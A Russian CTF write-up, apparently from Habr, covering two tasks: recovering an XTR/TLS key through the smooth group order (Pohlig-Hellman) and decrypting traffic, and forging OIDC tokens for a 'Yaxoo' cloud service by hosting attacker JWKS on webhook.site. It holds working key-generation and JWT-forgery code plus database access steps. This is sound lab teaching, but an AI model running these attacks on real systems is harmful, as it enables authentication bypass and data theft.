Любой элемент группы можно записать как g^x. x — показатель. Показатели цикличны по модулю q.
GF§ — Galois Field, конечное поле, на котором определены сложение, вычитание, умножение и деление по модулю p, если p — простое число. GF(p^2) — это расширенное поле, где каждый элемент можно предстваить как пары чисел из GF§: a + b*u, где u — формальный корень неприводимого квадратного многочлена, строится так, что у него нет корней в поле GF§. После операций умножения над этими числами, если появляются u высокой степени, то они сокращаются по многочлену, а a и b сокращаются % p.
GF(p) = {0,1,2}GF(p^2) = {(0,0), (1,0), (0,1), (1,1), (1,2), (2,1), (0,2), (2,0), (2,2)} или0+0u;...;2+2u
GF(p^6) — поле, каждый элемент которого состоит из 6 элементов GF§, или из 3 элементов GF(p^2), GF(p^6) = GF((p^2)^3): ((0,0), (1,1), (2,2)) Элемент записывается как:
h = A + B*v + C*v^2
где A,B,C — элементы из GF(p^2), v определяется по кубическому многочлену. или как
h = a₀ + a₁*u + b₀*v + b₁*u*v + c₀*v² + c₁*u*v²
где a0, a1, b0, b1, c0, c1 — элементы GF§
*GF(p^6) — мультипликативная группа поля — все элементы, кроме 0, операция умножения по модулю. Она циклична.
Порядок *GF(p^6) = p^6 - 1. Раскладывается на:
p^6 - 1 = (p - 1)(p + 1)(p^2 + p + 1)(p^2 - p + 1)
Последний множитель:
Phi_6(p) = p^2 - p + 1
Phi_6(x) = x^2 - x + 1 — шестой циклотомический многочлен. Поскольку Phi_6(p) делит p^6-1, внутри GF(p^6)* существует подгруппа порядка Phi_6(x). Её называют шестой циклотомической подгруппой.
В GF§ выполняется x^p = x. В расширении GF(p^3) выполняется: x -> x^p -> x^p^2 -> x^p^3=x . Операция x -> x^p называется Frobenius, или F(x).
Если рассматривать GF(p^6) как расширение над GF(p^2), используется операция:
F(x) = x -> x^(p^2)
для
h = A + B*v + C*v^2
получается три сопряженных, три значения в цикле:
h, h^(p^2), h^(p^4)
Trace, Tr(h) — это сумма значений его сопряженных:
Tr(h) = h + h^(p^2) + h^(p^4)
этот результат принадлежит GF(p^2), так как Tr(h)^(p^2) = Tr(h).
Размер trace — 44 байта (22*2). Размер h — 132 байта (22*6)
Диффи-хэллман — алгоритм согласования секретного ключа

XTR выполняет Диффи-Хеллмана в циклотомической подгруппе *G(p^6), но передает только trace элементов.
Клиент выбирает секрет a:
client public = Tr(g^a)
Сервер выбирает секрет b:
server public = Tr(g^b)
Общий секрет:
Tr(g^(ab))
Клиент получает его из Tr(g^b) и a, сервер — из Tr(g^a) и b.
Специальные XTR-рекуррентные формулы позволяют вычислять:
Tr(h^n)
зная только Tr(h) и n. В provider это делает внутренняя функция trace_pow:
trace_pow(Tr(h), n) = Tr(h^n)
Теперь мы понимаем, что же все таки такое key_share. Это trace, предстваление h в GF(p^2). Длиной 44 байта. И клиент, и сервер заранее знают Tr(g), и считают публичный Tr(g^a)=(A1, A2) и Tr(g^b)=(B1, B2) соответсвенно.
Они обмениваются этими публичными ключами и у себя считают общий секрет Tr(g^ab) длиной 44 байта.
На первый взгляд все хорошо, лишь бы у него был достаточно большой крупнейший простой множитель.
Уязвимость
q = 3 * 7 * 13 * 19 * 61 * 79 * 103^2 * 109 * 139 * 151 * 157 * 181 * 193 * 199 * 211 * 241 * 271 * 277 * 307 * 313 * 331 * 337 * 349 * 367 * 373 * 379 * 30781183 * 541097644741 * 797114506711 * 247389332406283
Самый большой делитель имеет длину только 48 бит, то есть q — гладкое.
Простым перебором решить A = g^a сложно, но если q = r1*r2*...*rn, то Pohlig-Hellman решает отдельные маленькие задачи:
a mod r1a mod r2...a mod rn
Затем ответы объединяются китайской теоремой об остатках и получаем:
a mod q
Для нашего случая:
a mod rg^a = Am = q/rg_r = g^m генерирует подгруппу порядка r1A_r = A^m = g_r^aтогда g_r^x = A_r, x прин {0,1,...,r-1}...x = a mod r
так находим остатки от деления на все множители, и объединяем, находя a.
Нам надо будет перебрать всего sqrt(247389332406283) = 15728615, это выполнимо.
Осталось чуть чуть. Нам надо как-то получить g^a и g, имея только Tr(g) и Tr(g^a).
У нас есть три сопряженных элемента, если мы построим кубическое уравнение с корнями h, h^p^2 и h^p^4, (x-h)(x-h^p^2)(x-h^p^4), то при раскрытии всех скобок получим:
x^3 - Tr(h)*x^2 + Tr(h)^p*x - 1 = 0
Подставив туда известный трейс, мы можем найти три корня, представляющие собой h, которые мы уже можем использовать для нахождения a.
Теперь у нас есть a, и мы можем сделать trace_pow(Tr(g^b),a), так как Tr(g^b) присылается сервером, и получить Tr(g^ab), которым и шифровался этот пакет.
Полная атака
Шаг 1. Из ClientHello
T_a = Tr(g^a) = 012f9f51fe1b50d0b2b8bbb31860928195a694a5e3b70058d9a0570a724bc0e55374e9fe841c1dc5ba775475
Шаг 2. Из traces.so
tr_g1 = 0x01346da6b3f76a70512ac04fc79f6145310651c454f6tr_g2 = 0x026de1ef8e20e9eba0bd96a4fa22dc328f87f0c82452Tr(g) = 01346da6b3f76a70512ac04fc79f6145310651c454f6026de1ef8e20e9eba0bd96a4fa22dc328f87f0c82452
Шаг 3. Поднимаем трейсы.
K = GF(p)[z] / (z^6+z^5+z^4+z^3+z^2+z+1)g = 419155619184477410849425191972410243956454988400599+ 1063693792213172793726847418628526464527299439779206*z+ 1023397249958495592505563846016080785679027249780902*z^2+ 64283637634869039421212930520839069036364183864951*z^3+ 170612701662456590852360518256710979389904837427884*z^4+ 283272005904203596987431150675585159404712430512814*z^5 g^a = 988689660887621972047952089206718017440191054967183+ 921484694868511901088628973895314511905336430256223*z+ 978496653708328358094484368389640687356705286741588*z^2+ 809394707057309548365746973470823683842127920926203*z^3+ 1159733101229942437840948964783667179335701387787456*z^4+ 97977510202042116335931064302959707228733526989678*z^5
Шаг 4. Pohlig-Hellman восстанавливает показатель
a_equiv = 1600264069530041134237709059089938833315027738046497806414525003179838026853094764599127101666949673408
Шаг 5. Из ServerHello берём
T_b = Tr(g^b) = 018d421aa2e6c8205e5761af45c1e475c59d2bd204b50265382a735e7234a17def1169a948f4c72248435fa4
Шаг 6. Общий секрет
trace_pow(T_b, a_equiv) = Tr(g^(ab)) = 01d8467d36b9847f9a26eb635105cd7d9da85c7053c902546d782b4b56fb0634830edec517fd04cd3aace413
Шаг 7. TLS 1.3 key schedule
Raw shared secret подаётся в HKDF-SHA384. Из него выводятся:
client handshake keyserver handshake keyclient application keyserver application key
Далее TLS records расшифровываются AES-256-GCM.
В frame 156 находится запрос с флагом:
POST /api/register HTTP/1.1Host: webContent-Type: application/jsonContent-Length: 209{"username":"ndelacroix","first_name":"Noah","last_name":"Delacroix","email":"ndelacroix@hexline.dev","password":"contributor-pw-2025","role":"author","invite":"ZN{816d7aa39c33b1712950671d48b0ea0f9aeec5f2d6}"}
ZN{816d7aa39c33b1712950671d48b0ea0f9aeec5f2d6}
Day #6 / Yaxoo!
Описание
My friend at Yaxoo claims he can be trusted to protect the company’s most valuable assets — especially its corporate flag, which is judging by the price must be made of pure gold and company secrets.
Don’t settle for a mug. Steal the flag and prove him terribly wrong!
This task was prepared by @dotrubic
Райтап от loqpa
Что вообще есть в Yaxoo
У задания оказалось три сервиса:
https://idp.yaxoo.rubikoid.me У каждого FastAPI-сервиса лежала открытая OpenAPI-спецификация:
В Market лежит очевидный таргет:
{ "id": "p11", "slug": "yaxoo-flag", "price_minor": 1000000000, "employee_only": true}
10 миллионов рублей, у нового пользователя 10 тысяч. Плюс товар доступен лишь сотрудникам. Значит цель ясна: стать сотрудником, а затем заработать миллионы.
Cloud
Клауд сервис дает нам стандартный облычный RCE as a service посредством Функций (Yaxoo Cloud · Functions).
Стряхиваем пыль с навыков ручного программироавния и проверяем выполнение команд.
В контейнере кажется сделана минимальная песочница, sh — нет:

Изучаем файловую систему нативными методами, находим исходники:
{"message": "Hello, ['persistence', 'api', '__pycache__', 'app.py', 'config.py', 'rate_limits.py', 'py.typed', 'http.py', 'worker.py', 'domain', 'service.py', '__init__.py', 'executor.py', 'auth.py']!"}

Достаем исходники и приступаем к изучению.
Warning based auth
В auth.py нашёлся интересный код:
issuer = self._unverified_issuer(token)# ...issuer_trusted = issuer in self._trusted_issuersadmins_realm = urlsplit(issuer).path.rstrip("/") == "/admins"try: client = await self._client_for(issuer) claims = await client.validate_id_token(token, token_cls=YaxooIDToken)except Exception as error: # ... if not issuer_trusted or admins_realm: logger.warning( "oidc_token_validated_sensitive_issuer", issuer=issuer, subject=claims.sub, issuer_trusted=issuer_trusted, admins_realm=admins_realm, can_access_network=claims.can_access_network, client_id=self._client_id, )return PrincipalIdentity( issuer=issuer, subject=claims.sub, can_access_network=claims.can_access_network,)
Код знает список доверенных issuer_trusted, но никогда не проверяет его. Значит мы можем указать себя в качестве провайдера.
Если объяснить без OIDC-магии:
-
Cloud берёт
issиз ещё не проверенного JWT. -
Идёт по этому URL за настройками и публичным ключом.
-
Проверяет подпись найденным ключом.
-
Замечает, что issuer не входит в доверенный список.
-
Пишет об этом warning в лог.
-
Всё равно авторизует пользователя.
I am the OIDC
Подготовка
Для атаки нам понадобится собственный RSA ключ и ресурс, где мы захостим пейлоад.
Можно воспользоваться https://mkjwk.org/ , или сделать все руками:
openssl genpkey \ -algorithm RSA \ -pkeyopt rsa_keygen_bits:2048 \ -out attacker-private.pem openssl pkey \ -in attacker-private.pem \ -pubout \ -out attacker-public.pem
import base64import jsonfrom cryptography.hazmat.primitives import serializationdef b64url_integer(value: int) -> str: size = (value.bit_length() + 7) // 8 raw = value.to_bytes(size, "big") return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()with open("attacker-public.pem", "rb") as source: key = serialization.load_pem_public_key(source.read())numbers = key.public_numbers()jwks = { "keys": [{ "kty": "RSA", "key_ops": ["verify"], "n": b64url_integer(numbers.n), "e": b64url_integer(numbers.e), "kid": "yaxoo-ctf-key", "use": "sig", "alg": "RS256" }]}print(json.dumps(jwks, indent=2))
Хостинг
Хостим результаты на webhook.site:
-
JWT.iss указывает на https://webhook.site/e517f18d-0047-403a-8d22-fd55adb28d19/.well-known/openid-configuration
Содержимое:
{ "issuer": "https://webhook.site/e517f18d-0047-403a-8d22-fd55adb28d19/.well-known/openid-configuration", "jwks_uri": "https://webhook.site/75e4c1eb-3246-46b0-b0dd-fa7bc54b9395", "response_types_supported": ["id_token"], "grant_types_supported": [], "subject_types_supported": ["public"], "id_token_signing_alg_values_supported": ["RS256"], "scopes_supported": ["openid", "profile", "email"], "claims_supported": [ "iss", "sub", "aud", "exp", "iat", "can_access_network" ] }
-
jwks_uri указывает на https://webhook.site/75e4c1eb-3246-46b0-b0dd-fa7bc54b9395 Содержимое — JWKS полученный на прошлом шаге.
Генерация
Подписываем собственный JWT, даем себе доступ по сети.
# forge.pyimport timeimport jwtISSUER = "https://webhook.site/e517f18d-0047-403a-8d22-fd55adb28d19/.well-known/openid-configuration"with open("attacker-private.pem", "rb") as source: private_key = source.read()now = int(time.time())claims = { "iss": ISSUER, "sub": "loqpa-network", "aud": "yaxoo-cloud", "email": "loqpa@example.com", "name": "Loqpa Network", "can_access_network": True, "auth_time": now, "iat": now, "exp": now + 1800,}token = jwt.encode( claims, private_key, algorithm="RS256", headers={ "kid": "yaxoo-ctf-key", "typ": "JWT", },)print(token)
Сеть, PostgreSQL и флаг
Функции созданные с новым JWT запускаются с доступом к сети:
network_namespace = "--share-net" if can_access_network else "--unshare-net"
В файле cloud/config.py лежит информация о БД:
postgresql+asyncpg://yaxoo_cloud:yaxoo_cloud@localhost:5432/yaxoo_cloud
По той же схеме сработал Market:
host: postgresdatabase: yaxoo_marketusername: yaxoo_marketpassword: yaxoo_market
asyncpg уже лежал в примонтированном virtualenv. Нужно было только вернуть его в sys.path, потому что Python запускался с -I:
import syssys.path.insert(0, "/app/.venv/lib/python3.13/site-packages")import asyncpg
Подключение показало таблицы customers, orders, products, wallets и несколько вспомогательных таблиц.

Оставалось прочитать нужную строку:
SELECT id, slug, employee_only, contentFROM productsWHERE id = 'p11';
В скрытом поле content лежало:
zn_hackquest{c0ngr4tul4t10n5_y0u_4r3_th3_sn4k13st_jwt_w1z4rd}
ссылка на оригинал статьи https://habr.com/ru/articles/1091180/


